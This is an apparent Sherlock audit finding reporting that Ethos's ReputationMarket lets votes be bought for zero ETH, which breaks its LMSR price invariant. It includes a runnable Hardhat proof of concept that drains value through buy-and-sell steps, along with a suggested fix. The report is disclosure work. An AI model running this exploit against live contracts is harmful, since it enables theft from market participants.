Skip to content

Latest commit

 

History

History
188 lines (134 loc) · 8.62 KB

File metadata and controls

188 lines (134 loc) · 8.62 KB

Strong Daffodil Jaguar

Medium

User Can Buy Votes For Zero ETH

Summary

In the Reputation Market, we assume two critical assumptions:

  1. Base price must be >= MINIMUM_BASE_PRICE (0.0001 ether).
  2. The LMSR invariant must be maintained (yes + no price sum to 1).

If these assumptions are violated, it becomes possible for a user to exploit the system by purchasing votes (trust or distrust, depending on the proportions) for less than the MINIMUM_BASE_PRICE or even for nothing (ZERO ETH).

As a result, an attacker could acquire a portion of the trust or distrust votes for free, paying only the gas fees for the transaction. Furthermore, if the number of opposing votes changes beyond a specific threshold, the attacker could sell their votes at a non-zero price. Essentially, the attacker would have bought votes at ZERO ETH and sold them at a profit, exploiting the broken market dynamics.

Root Cause

Break a concept:
The main violation is allowing a user/attacker to purchase votes at a price of zero ETH. Also, it breaks the LMSR invariant that: yes + no price sum must equal to 1; in this case, yes + no price < 1.

The break of those concepts allows you to purchase yes or no vote for ZERO ETH paying only the gas fees.

if (total > msg.value) revert InsufficientFunds();

(https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440C3-L467C6)

This line of code is in buyVotes() in ReputationMarket.sol Then, if total = 0 and msg.value = 0, then you can overcome this condition (total will be equal zero when distrust vote equal Zero)

Internal Pre-conditions

  1. The admin needs to create a reputation contract with a default tier config
  2. A user or group of users must buy all the trust OR distrust votes which cap at 133,000 votes on each side for the default tier. i.e. Trust vote ~ 133,000
  3. The opposite vote number must be 1 or less. i.e Distrust vote <= 1

External Pre-conditions

No need for any change outside the protocol

Attack Path

  1. Attacker will buy a specific number of distrust votes for ZERO Eth/free
  2. Attacker will monitor the selling for trust votes reaching a number beyond a specific threshold
  3. Then, the attacker will sell his/her distrust making money

Notice: the amount of money the attacker makes depends on how much the users sell of the opposite vote beyond a specific threshold.

Impact

If the attacker buys distrust vote for 0, sell the,m, and gain up to 903 ETH. Attacker range of gain: [0.008, 903] If the attacker is paying 0 ETH, he is able to also avoid paying protocol fees.

If the admin used another tier with lower liquidity and higher volatility, then the number of votes will be lower meaning a higher volatility and less threshold (opposite vote number decreament) for the attacker to start making money. In the PoC, the attacker needs a 35K decrease in the trust vote to make money. If the liquidity is lower, the total trust or distrust votes will be less than 133K and less than 35k decrease will be needed to make money for ZERO ETH upfront

PoC

import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js';
import { expect, use } from 'chai';
import chaiAsPromised from 'chai-as-promised';
import { type ReputationMarket } from '../../typechain-types/index.js';
import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js';
import { MarketUser } from './utils.js';

import hre from 'hardhat';
const { ethers } = hre;

use(chaiAsPromised as Chai.ChaiPlugin);

// the deployer (admin) will deploy reputation market with defual tier config 
// create two users: userA and attacker

describe('User Can Buy Votes For Zero ETH ', () => {
  let deployer: EthosDeployer;
  let userA: MarketUser;
  let attacker: MarketUser;
  let reputationMarket: ReputationMarket;

  const DEFAULT = {
    reputationMarket: undefined as unknown as ReputationMarket,
    profileId: 1n,
    liquidity: 1000n,
    buyAmount: ethers.parseEther('.01'),
    value: { value: ethers.parseEther('.1') },
    isPositive: true,
    creationCost: ethers.parseEther('.2'),
  };

  beforeEach(async () => {
    deployer = await loadFixture(createDeployer);

    if (!deployer.reputationMarket.contract) {
      throw new Error('ReputationMarket contract not found');
    }
    const [marketUser, ethosUserA, ethosattacker] = await Promise.all([
      deployer.createUser(),
      deployer.createUser(),
      deployer.createUser(),
    ]);
    await Promise.all([ethosUserA.setBalance('4000'), ethosattacker.setBalance('0.04')]);

    userA = new MarketUser(ethosUserA.signer);
    attacker = new MarketUser(ethosattacker.signer);

    reputationMarket = deployer.reputationMarket.contract;
    DEFAULT.reputationMarket = reputationMarket;
    DEFAULT.profileId = marketUser.profileId;

    await reputationMarket
      .connect(deployer.ADMIN)
      .createMarketWithConfigAdmin(marketUser.signer.address, 0, {
        value: DEFAULT.creationCost,
      });
  });

  //  this represent userA selling only 35K of his trust votes 
  // attacker can generate some money 
  it('Minor change in opposite vote number', async () => {

        console.log("attacker Intial Balance", await ethers.provider.getBalance(attacker.signer));
        console.log( "Start Market", await reputationMarket.getMarket(DEFAULT.profileId));


        console.log("Before posvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, true));
        console.log("Before negvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, false));

        await reputationMarket.connect(userA.signer).buyVotes(DEFAULT.profileId, true, 132999n,0n, {value: ethers.parseEther('1500')});
         // here the attacker is able to buy 91K votes for zero ETH 
        await reputationMarket.connect(attacker.signer).buyVotes(DEFAULT.profileId, false, 91000n,0n, {value: ethers.parseEther('0')});
       
        // Here you can see that the sum of trust and distrust vote does not equal the base price 
        console.log("After posvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, true))
        console.log("After negvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, false));
        await reputationMarket.connect(userA.signer).sellVotes(DEFAULT.profileId, true, 35000n, 0);
        console.log("After negvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, false));
        await reputationMarket.connect(attacker.signer).sellVotes(DEFAULT.profileId, false, 91000n, 0);
        console.log( await reputationMarket.getMarket(DEFAULT.profileId));
        
        // attacker is able to gain 0.008 ETH (his inital balance was 0.04); in the next function he make much more
        console.log("attacker End balance ", await ethers.provider.getBalance(attacker.signer));
        
  });


  // this repesetn userA selling all his turst votes 
  // attacker will be able a great amount of money 
  it('Major change in opposite vote number', async () => {

    console.log("attacker Intial Balance", await ethers.provider.getBalance(attacker.signer));
    console.log("Start Market",  await reputationMarket.getMarket(DEFAULT.profileId));


    console.log("Before posvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, true));
    console.log("Before negvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, false));

    await reputationMarket.connect(userA.signer).buyVotes(DEFAULT.profileId, true, 132999n,0n, {value: ethers.parseEther('1500')});
     // here the attacker is able to buy 91K votes for zero ETH 
    await reputationMarket.connect(attacker.signer).buyVotes(DEFAULT.profileId, false, 91000n,0n, {value: ethers.parseEther('0')});

    // Here you can see that the sum of trust and distrust vote does not equal the base price 
    console.log("After posvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, true));
    console.log("After negvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, false));
    await reputationMarket.connect(userA.signer).sellVotes(DEFAULT.profileId, true, 132999n, 0);
    console.log("After negvote price", await reputationMarket.getVotePrice(DEFAULT.profileId, false));
    await reputationMarket.connect(attacker.signer).sellVotes(DEFAULT.profileId, false, 91000n, 0);
    console.log( await reputationMarket.getMarket(DEFAULT.profileId));
    
    // Attacker is able to make ~ 903 ETH
    console.log("attacker End balance ", await ethers.provider.getBalance(attacker.signer));
    
});
});

Mitigation

Check in+ buyVotes() function that:

  • check if msg.value != 0
  • check if total == 0 Remmeber, these are cause by price of distrust vote dropping to zero